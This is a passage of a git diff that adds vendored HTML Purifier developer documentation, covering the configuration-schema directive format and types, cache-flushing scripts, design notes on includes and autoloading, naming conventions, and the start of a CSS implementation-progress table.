+ </tbody>
+ </table>
+
+ <p>
+ Some notes on format and style:
+ </p>
+
+ <ul>
+ <li>
+ Each of these keys can be expressed in the short format
+ (<code>KEY: Value</code>) or the long format
+ (<code>--KEY--</code> with value beneath). You must use the
+ long format if multiple lines are needed, or if a long format
+ has been used already (that's why <code>ALIASES</code> in our
+ example is in the long format); otherwise, it's user preference.
+ </li>
+ <li>
+ The HTML descriptions should be wrapped at about 80 columns; do
+ not rely on editor word-wrapping.
+ </li>
+ </ul>
+
+ <p>
+ Also, as promised, here is the set of possible types:
+ </p>
+
+ <table class="table">
+ <thead>
+ <tr>
+ <th>Type</th>
+ <th>Example</th>
+ <th>Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>string</td>
+ <td>'Foo'</td>
+ <td><a href="http://docs.php.net/manual/en/language.types.string.php">String</a> without newlines</td>
+ </tr>
+ <tr>
+ <td>istring</td>
+ <td>'foo'</td>
+ <td>Case insensitive ASCII string without newlines</td>
+ </tr>
+ <tr>
+ <td>text</td>
+ <td>"A<em>\n</em>b"</td>
+ <td>String with newlines</td>
+ </tr>
+ <tr>
+ <td>itext</td>
+ <td>"a<em>\n</em>b"</td>
+ <td>Case insensitive ASCII string without newlines</td>
+ </tr>
+ <tr>
+ <td>int</td>
+ <td>23</td>
+ <td>Integer</td>
+ </tr>
+ <tr>
+ <td>float</td>
+ <td>3.0</td>
+ <td>Floating point number</td>
+ </tr>
+ <tr>
+ <td>bool</td>
+ <td>true</td>
+ <td>Boolean</td>
+ </tr>
+ <tr>
+ <td>lookup</td>
+ <td>array('key' =&gt; true)</td>
+ <td>Lookup array, used with <code>isset($var[$key])</code></td>
+ </tr>
+ <tr>
+ <td>list</td>
+ <td>array('f', 'b')</td>
+ <td>List array, with ordered numerical indexes</td>
+ </tr>
+ <tr>
+ <td>hash</td>
+ <td>array('key' =&gt; 'val')</td>
+ <td>Associative array of keys to values</td>
+ </tr>
+ <tr>
+ <td>mixed</td>
+ <td>new stdclass</td>
+ <td>Any PHP variable is fine</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <p>
+ The examples represent what will be returned out of the configuration
+ object; users have a little bit of leeway when setting configuration
+ values (for example, a lookup value can be specified as a list;
+ HTML Purifier will flip it as necessary.) These types are defined
+ in <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/VarParser.php">
+ library/HTMLPurifier/VarParser.php</a>.
+ </p>
+
+ <p>
+ For more information on what values are allowed, and how they are parsed,
+ consult <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php">
+ library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php</a>, as well
+ as <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/ConfigSchema/Interchange/Directive.php">
+ library/HTMLPurifier/ConfigSchema/Interchange/Directive.php</a> for
+ the semantics of the parsed values.
+ </p>
+
+ <h2>Refreshing the cache</h2>
+
+ <p>
+ You may have noticed that your directive file isn't doing anything
+ yet. That's because it hasn't been added to the runtime
+ <code>HTMLPurifier_ConfigSchema</code> instance. Run
+ <code>maintenance/generate-schema-cache.php</code> to fix this.
+ If there were no errors, you're good to go! Don't forget to add
+ some unit tests for your functionality!
+ </p>
+
+ <p>
+ If you ever make changes to your configuration directives, you
+ will need to run this script again.
+ </p>
+ <h2>Adding in-house schema definitions</h2>
+
+ <p>
+ Placing stuff directly in HTML Purifier's source tree is generally not a
+ good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your
+ life easier.
+ </p>
+
+ <p>
+ The first is to pass an extra parameter to <code>maintenance/generate-schema-cache.php</code>
+ with the location of your directory (relative or absolute path will do). For example,
+ if I'm storing my custom definitions in <em>/var/htmlpurifier/myschema</em>, run:
+ <code>php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema</code>.
+ </p>
+
+ <p>
+ Alternatively, you can create a small loader PHP file in the HTML Purifier base
+ directory named <code>config-schema.php</code> (this is the same directory
+ you would place a <code>test-settings.php</code> file). In this file, add
+ the following line for each directory you want to load:
+ </p>
+
+<pre>$builder-&gt;buildDir($interchange, '/var/htmlpurifier/myschema');</pre>
+
+ <p>You can even load a single file using:</p>
+
+<pre>$builder-&gt;buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');</pre>
+
+ <p>Storing custom definitions that you don't plan on sending back upstream in
+ a separate directory is <em>definitely</em> a good idea! Additionally, picking
+ a good namespace can go a long way to saving you grief if you want to use
+ someone else's change, but they picked the same name, or if HTML Purifier
+ decides to add support for a configuration directive that has the same name.</p>
+
+ <!-- TODO: how to name directives that rely on naming conventions -->
+
+ <h2>Errors</h2>
+
+ <p>
+ All directive files go through a rigorous validation process
+ through <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/ConfigSchema/Validator.php">
+ library/HTMLPurifier/ConfigSchema/Validator.php</a>, as well
+ as some basic checks during building. While
+ listing every error out here is out-of-scope for this document, we
+ can give some general tips for interpreting error messages.
+ There are two types of errors: builder errors and validation errors.
+ </p>
+
+ <h3>Builder errors</h3>
+
+ <blockquote>
+ <p>
+ <strong>Exception:</strong> Expected type string, got
+ integer in DEFAULT in directive hash 'Ns.Dir'
+ </p>
+ </blockquote>
+
+ <p>
+ You can identify a builder error by the keyword "directive hash."
+ These are the easiest to deal with, because they directly correspond
+ with your directive file. Find the offending directive file (which
+ is the directive hash plus the .txt extension), find the
+ offending index ("in DEFAULT" means the DEFAULT key) and fix the error.
+ This particular error would occur if your default value is not the same
+ type as TYPE.
+ </p>
+
+ <h3>Validation errors</h3>
+
+ <blockquote>
+ <p>
+ <strong>Exception:</strong> Alias 3 in valueAliases in directive
+ 'Ns.Dir' must be a string
+ </p>
+ </blockquote>
+
+ <p>
+ These are a little trickier, because we're not actually validating
+ your directive file, or even the direct string hash representation.
+ We're validating an Interchange object, and the error messages do
+ not mention any string hash keys.
+ </p>
+
+ <p>
+ Nevertheless, it's not difficult to figure out what went wrong.
+ Read the "context" statements in reverse:
+ </p>
+
+ <dl>
+ <dt>in directive 'Ns.Dir'</dt>
+ <dd>This means we need to look at the directive file <code>Ns.Dir.txt</code></dd>
+ <dt>in valueAliases</dt>
+ <dd>There's no key actually called this, but there's one that's close:
+ VALUE-ALIASES. Indeed, that's where to look.</dd>
+ <dt>Alias 3</dt>
+ <dd>The value alias that is equal to 3 is the culprit.</dd>
+ </dl>
+
+ <p>
+ In this particular case, you're not allowed to alias integers values to
+ strings values.
+ </p>
+
+ <p>
+ The most difficult part is translating the Interchange member variable (valueAliases)
+ into a directive file key (VALUE-ALIASES), but there's a one-to-one
+ correspondence currently. If the two formats diverge, any discrepancies
+ will be described in <a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php">
+ library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php</a>.
+ </p>
+
+ <h2>Internals</h2>
+
+ <p>
+ Much of the configuration schema framework's codebase deals with
+ shuffling data from one format to another, and doing validation on this
+ data.
+ The keystone of all of this is the <code>HTMLPurifier_ConfigSchema_Interchange</code>
+ class, which represents the purest, parsed representation of the schema.
+ </p>
+
+ <p>
+ Hand-writing this data is unwieldy, however, so we write directive files.
+ These directive files are parsed by <code>HTMLPurifier_StringHashParser</code>
+ into <code>HTMLPurifier_StringHash</code>es, which then
+ are run through <code>HTMLPurifier_ConfigSchema_InterchangeBuilder</code>
+ to construct the interchange object.
+ </p>
+
+ <p>
+ From the interchange object, the data can be siphoned into other forms
+ using <code>HTMLPurifier_ConfigSchema_Builder</code> subclasses.
+ For example, <code>HTMLPurifier_ConfigSchema_Builder_ConfigSchema</code>
+ generates a runtime <code>HTMLPurifier_ConfigSchema</code> object,
+ which <code>HTMLPurifier_Config</code> uses to validate its incoming
+ data. There is also an XML serializer, which is used to build documentation.
+ </p>
+
+ </body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-flush.html b/vendor/ezyang/htmlpurifier/docs/dev-flush.html
new file mode 100644
index 000000000..4a3a78351
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-flush.html
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <meta name="description" content="Discusses when to flush HTML Purifier's various caches." />
+ <link rel="stylesheet" type="text/css" href="./style.css" />
+ <title>Flushing the Purifier - HTML Purifier</title>
+</head>
+<body>
+
+<h1>Flushing the Purifier</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>
+ If you've been poking around the various folders in HTML Purifier,
+ you may have noticed the <code>maintenance</code> directory. Almost
+ all of these scripts are devoted to flushing out the various caches
+ HTML Purifier uses. Normal users don't have to worry about this:
+ regular library usage is transparent. However, when doing development
+ work on HTML Purifier, you may find you have to flush one of the
+ caches.
+</p>
+
+<p>
+ As a general rule of thumb, run <code>flush.php</code> whenever you make
+ any <em>major</em> changes, or when tests start mysteriously failing.
+ In more detail, run this script if:
+</p>
+
+<ul>
+ <li>
+ You added new source files to HTML Purifier's main library.
+ (see <code>generate-includes.php</code>)
+ </li>
+ <li>
+ You modified the configuration schema (see
+ <code>generate-schema-cache.php</code>). This usually means
+ adding or modifying files in <code>HTMLPurifier/ConfigSchema/schema/</code>,
+ although in rare cases modifying <code>HTMLPurifier/ConfigSchema.php</code>
+ will also require this.
+ </li>
+ <li>
+ You modified a Definition, or its subsystems. The most usual candidate
+ is <code>HTMLPurifier/HTMLDefinition.php</code>, which also encompasses
+ the files in <code>HTMLPurifier/HTMLModule/</code> as well as if you've
+ <a href="enduser-customize.html">customizing definitions</a> without
+ the cache disabled. (see <code>flush-generation-cache.php</code>)
+ </li>
+ <li>
+ You modified source files, and have been using the standalone
+ version from the full installation. (see <code>generate-standalone.php</code>)
+ </li>
+</ul>
+
+<p>
+ You can check out the corresponding scripts for more information on what they
+ do.
+</p>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-includes.txt b/vendor/ezyang/htmlpurifier/docs/dev-includes.txt
new file mode 100644
index 000000000..d3382b593
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-includes.txt
@@ -0,0 +1,281 @@
+
+INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION
+
+The Problem
+-----------
+
+HTML Purifier contains a number of extra components that are not used all
+of the time, only if the user explicitly specifies that we should use
+them.
+
+Some of these optional components are optionally included (Filter,
+Language, Lexer, Printer), while others are included all the time
+(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these
+are all developer specified: it is conceivable that certain Tokens are not
+used, but this is user-dependent and should not be trusted.
+
+We should come up with a consistent way to handle these things and ensure
+that we get the maximum performance when there is bytecode caches and
+when there are not. Unfortunately, these two goals seem contrary to each
+other.
+
+A peripheral issue is the performance of ConfigSchema, which has been
+shown take a large, constant amount of initialization time, and is
+intricately linked to the issue of includes due to its pervasive use
+in our plugin architecture.
+
+Pros and Cons
+-------------
+
+We will assume that user-based extensions will be included by them.
+
+Conditional includes:
+ Pros:
+ - User management is simplified; only a single directive needs to be set
+ - Only necessary code is included
+ Cons:
+ - Doesn't play nicely with opcode caches
+ - Adds complexity to standalone version
+ - Optional configuration directives are not exposed without a little
+ extra coaxing (not implemented yet)
+
+Include it all:
+ Pros:
+ - User management is still simple
+ - Plays nicely with opcode caches and standalone version
+ - All configuration directives are present
+ Cons:
+ - Lots of (how much?) extra code is included
+ - Classes that inherit from external libraries will cause compile
+ errors
+
+Build an include stub (Let's do this!):
+ Pros:
+ - Only necessary code is included
+ - Plays nicely with opcode caches and standalone version
+ - require (without once) can be used, see above
+ - Could further extend as a compilation to one file
+ Cons:
+ - Not implemented yet
+ - Requires user intervention and use of a command line script
+ - Standalone script must be chained to this
+ - More complex and compiled-language-like
+ - Requires a whole new class of system-wide configuration directives,
+ as configuration objects can be reused
+ - Determining what needs to be included can be complex (see above)
+ - No way of autodetecting dynamically instantiated classes
+ - Might be slow
+
+Include stubs
+-------------
+
+This solution may be "just right" for users who are heavily oriented
+towards performance. However, there are a number of picky implementation
+details to work out beforehand.
+
+The number one concern is how to make the HTML Purifier files "work
+out of the box", while still being able to easily get them into a form
+that works with this setup. As the codebase stands right now, it would
+be necessary to strip out all of the require_once calls. The only way
+we could get rid of the require_once calls is to use __autoload or
+use the stub for all cases (which might not be a bad idea).
+
+ Aside
+ -----
+ An important thing to remember, however, is that these require_once's
+ are valuable data about what classes a file needs. Unfortunately, there's
+ no distinction between whether or not the file is needed all the time,
+ or whether or not it is one of our "optional" files. Thus, it is
+ effectively useless.
+
+ Deprecated
+ ----------
+ One of the things I'd like to do is have the code search for any classes
+ that are explicitly mentioned in the code. If a class isn't mentioned, I
+ get to assume that it is "optional," i.e. included via introspection.
+ The choice is either to use PHP's tokenizer or use regexps; regexps would
+ be faster but a tokenizer would be more correct. If this ends up being
+ unfeasible, adding dependency comments isn't a bad idea. (This could
+ even be done automatically by search/replacing require_once, although
+ we'd have to manually inspect the results for the optional requires.)
+
+ NOTE: This ends up not being necessary, as we're going to make the user
+ figure out all the extra classes they need, and only include the core
+ which is predetermined.
+
+Using the autoload framework with include stubs works nicely with
+introspective classes: instead of having to have require_once inside
+the function, we can let autoload do the work; we simply need to
+new $class or accept the object straight from the caller. Handling filters
+becomes a simple matter of ticking off configuration directives, and
+if ConfigSchema spits out errors, adding the necessary includes. We could
+also use the autoload framework as a fallback, in case the user forgets
+to make the include, but doesn't really care about performance.
+
+ Insight
+ -------
+ All of this talk is merely a natural extension of what our current
+ standalone functionality does. However, instead of having our code
+ perform the includes, or attempting to inline everything that possibly
+ could be used, we boot the issue to the user, making them include
+ everything or setup the fallback autoload handler.
+
+Configuration Schema
+--------------------
+
+A common deficiency for all of the conditional include setups (including
+the dynamically built include PHP stub) is that if one of this
+conditionally included files includes a configuration directive, it
+is not accessible to configdoc. A stopgap solution for this problem is
+to have it piggy-back off of the data in the merge-library.php script
+to figure out what extra files it needs to include, but if the file also
+inherits classes that don't exist, we're in big trouble.
+
+I think it's high time we centralized the configuration documentation.
+However, the type checking has been a great boon for the library, and
+I'd like to keep that. The compromise is to use some other source, and
+then parse it into the ConfigSchema internal format (sans all of those
+nasty documentation strings which we really don't need at runtime) and
+serialize that for future use.
+
+The next question is that of format. XML is very verbose, and the prospect
+of setting defaults in it gives me willies. However, this may be necessary.
+Splitting up the file into manageable chunks may alleviate this trouble,
+and we may be even want to create our own format optimized for specifying
+configuration. It might look like (based off the PHPT format, which is
+nicely compact yet unambiguous and human-readable):
+
+Core.HiddenElements
+TYPE: lookup
+DEFAULT: array('script', 'style') // auto-converted during processing
+--ALIASES--
+Core.InvisibleElements, Core.StupidElements
+--DESCRIPTION--
+<p>
+ Blah blah
+</p>
+
+The first line is the directive name, the lines after that prior to the
+first --HEADER-- block are single-line values, and then after that
+the multiline values are there. No value is restricted to a particular
+format: DEFAULT could very well be multiline if that would be easier.
+This would make it insanely easy, also, to add arbitrary extra parameters,
+like:
+
+VERSION: 3.0.0
+ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array()
+EXTERNAL: CSSTidy // this would be documented somewhere else with a URL
+
+The final loss would be that you wouldn't know what file the directive
+was used in; with some clever regexps it should be possible to
+figure out where $config->get($ns, $d); occurs. Reflective calls to
+the configuration object is mitigated by the fact that getBatch is
+used, so we can simply talk about that in the namespace definition page.
+This might be slow, but it would only happen when we are creating
+the documentation for consumption, and is sugar.
+
+We can put this in a schema/ directory, outside of HTML Purifier. The serialized
+data gets treated like entities.ser.
+
+The final thing that needs to be handled is user defined configurations.
+They can be added at runtime using ConfigSchema::registerDirectory()
+which globs the directory and grabs all of the directives to be incorporated
+in. Then, the result is saved. We may want to take advantage of the
+DefinitionCache framework, although it is not altogether certain what
+configuration directives would be used to generate our key (meta-directives!)
+
+ Further thoughts
+ ----------------
+ Our master configuration schema will only need to be updated once
+ every new version, so it's easily versionable. User specified
+ schema files are far more volatile, but it's far too expensive
+ to check the filemtimes of all the files, so a DefinitionRev style
+ mechanism works better. However, we can uniquely identify the
+ schema based on the directories they loaded, so there's no need
+ for a DefinitionId until we give them full programmatic control.
+
+ These variables should be directly incorporated into ConfigSchema,
+ and ConfigSchema should handle serialization. Some refactoring will be
+ necessary for the DefinitionCache classes, as they are built with
+ Config in mind. If the user changes something, the cache file gets
+ rebuilt. If the version changes, the cache file gets rebuilt. Since
+ our unit tests flush the caches before we start, and the operation is
+ pretty fast, this will not negatively impact unit testing.
+
+One last thing: certain configuration directives require that files
+get added. They may even be specified dynamically. It is not a good idea
+for the HTMLPurifier_Config object to be used directly for such matters.
+Instead, the userland code should explicitly perform the includes. We may
+put in something like:
+
+REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks
+
+To indicate that if that class doesn't exist, and the user is attempting
+to use the directive, we should fatally error out. The stub includes the core files,
+and the user includes everything else. Any reflective things like new
+$class would be required to tie in with the configuration.
+
+It would work very well with rarely used configuration options, but it
+wouldn't be so good for "core" parts that can be disabled. In such cases
+the core include file would need to be modified, and the only way
+to properly do this is use the configuration object. Once again, our
+ability to create cache keys saves the day again: we can create arbitrary
+stub files for arbitrary configurations and include those. They could
+even be the single file affairs. The only thing we'd need to include,
+then, would be HTMLPurifier_Config! Then, the configuration object would
+load the library.
+
+ An aside...
+ -----------
+ One questions, however, the wisdom of letting PHP files write other PHP
+ files. It seems like a recipe for disaster, or at least lots of headaches
+ in highly secured setups, where PHP does not have the ability to write
+ to its root. In such cases, we could use sticky bits or tell the user
+ to manually generate the file.
+
+ The other troublesome bit is actually doing the calculations necessary.
+ For certain cases, it's simple (such as URIScheme), but for AttrDef
+ and HTMLModule the dependency trees are very complex in relation to
+ %HTML.Allowed and friends. I think that this idea should be shelved
+ and looked at a later, less insane date.
+
+An interesting dilemma presents itself when a configuration form is offered
+to the user. Normally, the configuration object is not accessible without
+editing PHP code; this facility changes thing. The sensible thing to do
+is stipulate that all classes required by the directives you allow must
+be included.
+
+Unit testing
+------------
+
+Setting up the parsing and translation into our existing format would not
+be difficult to do. It might represent a good time for us to rethink our
+tests for these facilities; as creative as they are, they are often hacky
+and require public visibility for things that ought to be protected.
+This is especially applicable for our DefinitionCache tests.
+
+Migration
+---------
+
+Because we are not *adding* anything essentially new, it should be trivial
+to write a script to take our existing data and dump it into the new format.
+Well, not trivial, but fairly easy to accomplish. Primary implementation
+difficulties would probably involve formatting the file nicely.
+
+Backwards-compatibility
+-----------------------
+
+I expect that the ConfigSchema methods should stick around for a little bit,
+but display E_USER_NOTICE warnings that they are deprecated. This will
+require documentation!
+
+New stuff
+---------
+
+VERSION: Version number directive was introduced
+DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated?
+DEPRECATED-USE: If the directive was deprecated, what should the user use now?
+REQUIRES: What classes does this configuration directive require, but are
+ not part of the HTML Purifier core?
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-naming.html b/vendor/ezyang/htmlpurifier/docs/dev-naming.html
new file mode 100644
index 000000000..cea4b006f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-naming.html
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Defines class naming conventions in HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Naming Conventions - HTML Purifier</title>
+
+</head><body>
+
+<h1>Naming Conventions</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>The classes in this library follow a few naming conventions, which may
+help you find the correct functionality more quickly. Here they are:</p>
+
+<dl>
+
+<dt>All classes occupy the HTMLPurifier pseudo-namespace.</dt>
+ <dd>This means that all classes are prefixed with HTMLPurifier_. As such, all
+ names under HTMLPurifier_ are reserved. I recommend that you use the name
+ HTMLPurifierX_YourName_ClassName, especially if you want to take advantage
+ of HTMLPurifier_ConfigDef.</dd>
+
+<dt>All classes correspond to their path if library/ was in the include path</dt>
+ <dd>HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace
+ underscores with slashes and append .php and you'll have the location of
+ the class.</dd>
+
+<dt>Harness and Test are reserved class names for unit tests</dt>
+ <dd>The suffix <code>Test</code> indicates that the class is a subclass of UnitTestCase
+ (of the Simpletest library) and is testable. "Harness" indicates a subclass
+ of UnitTestCase that is not meant to be run but to be extended into
+ concrete test cases and contains custom test methods (i.e. assert*())</dd>
+
+<dt>Class names do not necessarily represent inheritance hierarchies</dt>
+ <dd>While we try to reflect inheritance in naming to some extent, it is not
+ guaranteed (for instance, none of the classes inherit from HTMLPurifier,
+ the base class). However, all class files have the require_once
+ declarations to whichever classes they are tightly coupled to.</dd>
+
+<dt>Strategy has a meaning different from the Gang of Four pattern</dt>
+ <dd>In Design Patterns, the Gang of Four describes a Strategy object as
+ encapsulating an algorithm so that they can be switched at run-time. While
+ our strategies are indeed algorithms, they are not meant to be substituted:
+ all must be present in order for proper functioning.</dd>
+
+<dt>Abbreviations are avoided</dt>
+ <dd>We try to avoid abbreviations as much as possible, but in some cases,
+ abbreviated version is more readable than the full version. Here, we
+ list common abbreviations:
+ <ul>
+ <li>Attr to Attributes (note that it is plural, i.e. <code>$attr = array()</code>)</li>
+ <li>Def to Definition</li>
+ <li><code>$ret</code> is the value to be returned in a function</li>
+ </ul>
+ </dd>
+
+<dt>Ambiguity concerning the definition of Def/Definition</dt>
+ <dd>While a definition normally defines the structure/acceptable values of
+ an entity, most of the definitions in this application also attempt
+ to validate and fix the value. I am unsure of a better name, as
+ "Validator" would exclude fixing the value, "Fixer" doesn't invoke
+ the proper image of "fixing" something, and "ValidatorFixer" is too long!
+ Some other suggestions were "Handler", "Reference", "Check", "Fix",
+ "Repair" and "Heal".</dd>
+
+<dt>Transform not Transformer</dt>
+ <dd>Transform is both a noun and a verb, and thus we define a "Transform" as
+ something that "transforms," leaving "Transformer" (which sounds like an
+ electrical device/robot toy).</dd>
+
+</dl>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-optimization.html b/vendor/ezyang/htmlpurifier/docs/dev-optimization.html
new file mode 100644
index 000000000..78f565813
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-optimization.html
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Discusses possible methods of optimizing HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Optimization - HTML Purifier</title>
+
+</head><body>
+
+<h1>Optimization</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Here are some possible optimization techniques we can apply to code sections if
+they turn out to be slow. Be sure not to prematurely optimize: if you get
+that itch, put it here!</p>
+
+<ul>
+ <li>Make Tokens Flyweights (may prove problematic, probably not worth it)</li>
+ <li>Rewrite regexps into PHP code</li>
+ <li>Batch regexp validation (do as many per function call as possible)</li>
+ <li>Parallelize strategies</li>
+</ul>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/dev-progress.html b/vendor/ezyang/htmlpurifier/docs/dev-progress.html
new file mode 100644
index 000000000..105896ed6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/dev-progress.html
@@ -0,0 +1,309 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Tables detailing HTML element and CSS property implementation coverage in HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Implementation Progress - HTML Purifier</title>
+
+<style type="text/css">
+
+td {padding-right:1em;border-bottom:1px solid #000;padding-left:0.5em;}
+th {text-align:left;padding-top:1.4em;font-size:13pt;
+ border-bottom:2px solid #000;background:#FFF;}
+thead th {text-align:left;padding:0.1em;background-color:#EEE;}
+
+.impl-yes {background:#9D9;}
+.impl-partial {background:#FFA;}
+.impl-no {background:#CCC;}
+
+.danger {color:#600;}
+.css1 {color:#060;}
+.required {font-weight:bold;}
+.feature {color:#999;}
+
+</style>
+
+</head><body>
+
+<h1>Implementation Progress</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>
+ <strong>Warning:</strong> This table is kept for historical purposes and
+ is not being actively updated.
+</p>
+
+<h2>Key</h2>
+
+<table cellspacing="0"><tbody>
+<tr><td class="impl-yes">Implemented</td></tr>
+<tr><td class="impl-partial">Partially implemented</td></tr>
+<tr><td class="impl-no">Not priority to implement</td></tr>
+<tr><td class="danger">Dangerous attribute/property</td></tr>
+<tr><td class="css1">Present in CSS1</td></tr>
+<tr><td class="feature">Feature, requires extra work</td></tr>
+</tbody></table>
+
+<h2>CSS</h2>
+
+<table cellspacing="0">
+
+<thead>
+<tr><th>Name</th><th>Notes</th></tr>
+</thead>
+
+<!--
+<tr><td>-</td><td>-</td></tr>
+-->
+
+<tbody>
+<tr><th colspan="2">Standard</th></tr>
+<tr class="css1 impl-yes"><td>background-color</td><td>COMPOSITE(&lt;color&gt;, transparent)</td></tr>
+<tr class="css1 impl-yes"><td>background</td><td>SHORTHAND, currently alias for background-color</td></tr>
+<tr class="css1 impl-yes"><td>border</td><td>SHORTHAND, MULTIPLE</td></tr>
+<tr class="css1 impl-yes"><td>border-color</td><td>MULTIPLE</td></tr>
+<tr class="css1 impl-yes"><td>border-style</td><td>MULTIPLE</td></tr>
+<tr class="css1 impl-yes"><td>border-width</td><td>MULTIPLE</td></tr>
+<tr class="css1 impl-yes"><td>border-*</td><td>SHORTHAND</td></tr>
+<tr class="impl-yes"><td>border-*-color</td><td>COMPOSITE(&lt;color&gt;, transparent)</td></tr>
+<tr class="impl-yes"><td>border-*-style</td><td>ENUM(none, hidden, dotted, dashed,
+ solid, double, groove, ridge, inset, outset)</td></tr>
+<tr class="css1 impl-yes"><td>border-*-width</td><td>COMPOSITE(&lt;length&gt;, thin, medium, thick)</td></tr>
+<tr class="css1 impl-yes"><td>clear</td><td>ENUM(none, left, right, both)</td></tr>
+<tr class="css1 impl-yes"><td>color</td><td>&lt;color&gt;</td></tr>
+<tr class="css1 impl-yes"><td>float</td><td>ENUM(left, right, none), May require layout
+ precautions with clear</td></tr>
+<tr class="css1 impl-yes"><td>font</td><td>SHORTHAND</td></tr>
+<tr class="css1 impl-yes"><td>font-family</td><td>CSS validator may complain if fallback font
+ family not specified</td></tr>
+<tr class="css1 impl-yes"><td>font-size</td><td>COMPOSITE(&lt;absolute-size&gt;,
+ &lt;relative-size&gt;, &lt;length&gt;, &lt;percentage&gt;)</td></tr>
+<tr class="css1 impl-yes"><td>font-style</td><td>ENUM(normal, italic, oblique)</td></tr>
+<tr class="css1 impl-yes"><td>font-variant</td><td>ENUM(normal, small-caps)</td></tr>
+<tr class="css1 impl-yes"><td>font-weight</td><td>ENUM(normal, bold, bolder, lighter,
+ 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for
+ in-between integers</td></tr>
+<tr class="css1 impl-yes"><td>letter-spacing</td><td>COMPOSITE(&lt;length&gt;, normal)</td></tr>
+<tr class="css1 impl-yes"><td>line-height</td><td>COMPOSITE(&lt;number&gt;,
+ &lt;length&gt;, &lt;percentage&gt;, normal)</td></tr>
+<tr class="css1 impl-yes"><td>list-style-position</td><td>ENUM(inside, outside),
+ Strange behavior in browsers</td></tr>
+<tr class="css1 impl-yes"><td>list-style-type</td><td>ENUM(...),
+ Well-supported values are: disc, circle, square,
+ decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also
+ CSS 3. Mostly IE lack of support.</td></tr>
+<tr class="css1 impl-yes"><td>list-style</td><td>SHORTHAND</td></tr>
+<tr class="css1 impl-yes"><td>margin</td><td>MULTIPLE</td></tr>
